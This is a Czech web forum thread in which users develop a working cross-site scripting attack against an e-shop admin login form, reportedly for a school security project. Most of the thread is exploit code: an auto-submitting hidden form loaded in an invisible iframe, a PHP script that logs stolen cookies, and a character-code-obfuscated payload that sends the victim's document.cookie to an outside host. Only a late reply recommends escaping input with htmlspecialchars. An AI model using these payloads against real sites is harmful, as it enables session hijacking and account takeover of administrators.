« 1 2
Autor Zpráva
vynalezce
Profil
Tady přece zneužíváš xss v přihlašovacím formuláři. Prostě pokud je admin přihlášen a vleze na tvůj web tak ve zkrytém iframu jakoby zadá nějaký kód, který ti odešle jeho cookies (to vše za něj udělá JS :-) )
stepanka
Profil *
vynalezce:
Pokud je admin přihlášen a vleze na můj web, tak mi maximálně odešle cookies z toho mého webu, na který vlezl, ale ne z administrace.. to už jsme tady měli o pár příspěvků výš (AM_ to popsal).
vynalezce
Profil
stepanka:
Pokud je admin přihlášen a vleze na můj web, tak mi maximálně odešle cookies z toho mého webu, na který vlezl, ale ne z administrace.. to už jsme tady měli o pár příspěvků výš (AM_ to popsal).

Ano, ale v tom <iframe> odešle script obsah formuláře na jeho stránku, zde to vypíše tvůj JS, vykoná ho to a odešle ti to obsah cookies zpět. Z toho plyne, že při posílání cookies bude na webu, který napadáš.
stepanka
Profil *
vynalezce:
A mohl bys mi, prosím, podrobněji popsat, jak bys jako útočník postupoval?
vynalezce
Profil
1) Napsal bych formulář, který se odesílá na adresu toho loginu,
2) nastavil bych u nějakého inputu value na hodnotu, která zneužije XSS na tom webu (třeba <input type="text" value="<script>alert('xss')</script>">),
3) udělal bych JS, který po načtení stránky formulář odešle,
4) na web bych umístil iframe, který by byl zkryt a načetla by se v něm stránka popsaná výše,
5) na tento web bych nalákal přihlášeného admina
stepanka
Profil *
vynalezce:
Děkuju za popis. Vyzkoušela jsem to. Vše funguje, až na to, že místo cookie to uloží prázdný řádek (pouze odřádkuje).

Soubory jsou na serveru obi.ic.cz

formular.html
<form name="formular" method="post" action="http://obi22.ic.cz/admin/login.php">
<input type="text" name="jmeno" value="\"<script>document.location.replace('http://obi.ic.cz/steal-cookie.php?cookie='+document.cookie); alert('a');
</script>" style="width:0" />
<input type="password" name="heslo" value="" style="width:0" />	
<input type="hidden" name="login" value="true" />
</form>

<script>
document.formular.submit();
</script>


iframe.html
<iframe src="http://obi.ic.cz/formular.html" style="border: 0pt none ; width: 0pt; height: 0pt;"></iframe>


steal-cookie.php
<?php
if (isset($_GET['cookie'])) 
    {
    $soubor = fopen("./kod.txt", "a");
    fwrite($soubor, $_GET['cookie']);
    fwrite($soubor,"\n");
    fclose($soubor);
    }   
?>


Administrace (ořezaná) e-shopu je na stránce obi22.ic.cz/admin/login.php. Můžeš se do ní dostat pod údaji admin/admin.

Myslím, že tam bude stejný problém jako předtím.. neodešle se mi cookie z administrace, ale z toho webu, kde je iframe. A tam žádná cookie aktivní není, tak se uloží jen prázdný řádek.

Pokud by se Ti chtělo to vyzkoušet, budu ráda.

Děkuju.
vynalezce
Profil
Toto funguje:
<form name="formular" method="post" action="http://obi22.ic.cz/admin/login.php">

<input type="text" name="jmeno" value='\"><script>alert(document.cookie); </script>' />
<input type="password" name="heslo" value="" />	

<input type="hidden" name="login" value="true" />
<input type="submit">
</form>


<script>
document.formular.submit();
</script>


Problém je v tom, že to escapuje uvozovky a apostrofy. Proto nejde to tvoje. Asi nejlepší by bylo vložit tam externí script a bylo by vystaráno (v html snad <script src=adresa.js></script> fungovat bude).
stepanka
Profil *
vynalezce:
A neexistuje nějaký kousek JS kódu, který by to odeslal a zároveň žádné uvozovky neobsahoval?
stepanka
Profil *
vynalezce:
Aha, už jsem si přečetla edit. Externí script by byl fajn.. ale tak zase nepředám tu cookie hodnotu. Předtím byla v GET, ale jak ji tam nacpat teď?
vynalezce
Profil
stepanka:
A neexistuje nějaký kousek JS kódu, který by to odeslal a zároveň žádné uvozovky neobsahoval?

Ten externí script viz edit [#7]
stepanka
Profil *
vynalezce:
Tak už jsem na to přišla. Nakonec to šlo pomocí:

<input type="text" name="jmeno" value='\"<SCRIPT>document.location.replace(String.fromCharCode(104,116,116,112,58,47,47,111,98,105,46,105,99,46,99,122,47,115,116,101,97,108,45,99,111,111,107,105,101,46,112,104,112,63,99,111,111,107,105,101,61)+document.cookie)</SCRIPT>' style="width:0" />


což je jeden textový input z přihlašovacího formuláře. Zbytek zůstal stejný.

Děkuju za všechny rady.
AM_
Profil
stepanka:
Obecně nejlepší by bylo ošetřovat všechny vstupy jaksepatří, a ne někde nechat návštěvníka vložit do kódu nějakou prasárnu a přemýšlet, kde to k něčemu může použít a kde ne. Nejen protože takový útočník bude zkušenější než ty a vymyslí 10x více způsobů, jak to zneužít. Každý uživatelský vstup, který se vypíše do stránky, musí cestou projít htmlspecialchars(), každý vstup, který se vypíše do JS, musí projít escapováním na JS kritické znaky (jak jsem zmínil je to problematické - je nutné eliminovat výskyty </script> a raději všech </ (libovolného ukončení tagu).
Tak, jak to řešíš, je asi jako přemýšlet, který plech z auta ještě můžeš odmontovat, aby se ti nerozpadlo za jízdy. Nebo se to dá udělat pořádně, ikdyž tam třeba bude pár plechů navíc.
stepanka
Profil *
AM_:
Já vím, máš pravdu.. to co tady píšu, musí pro ostatní znít nesmyslně. Já totiž mám jeden hotový e-shop, a do jedné práce (do školy) ho musím zabezpečit. A ukázat možné typy útoků. Abych ty typy útoků mohla ukázat na příkladech, musím na ně přijít. Několik útoků už se mi povedlo, v další fázi to budu celé zabezpečovat.

Moc děkuju za příspěvky a za rady.
« 1 2

Vaše odpověď

Mohlo by se hodit


Prosím používejte diakritiku a interpunkci.

Ochrana proti spamu. Napište prosím číslo dvě-sta čtyřicet-sedm:

0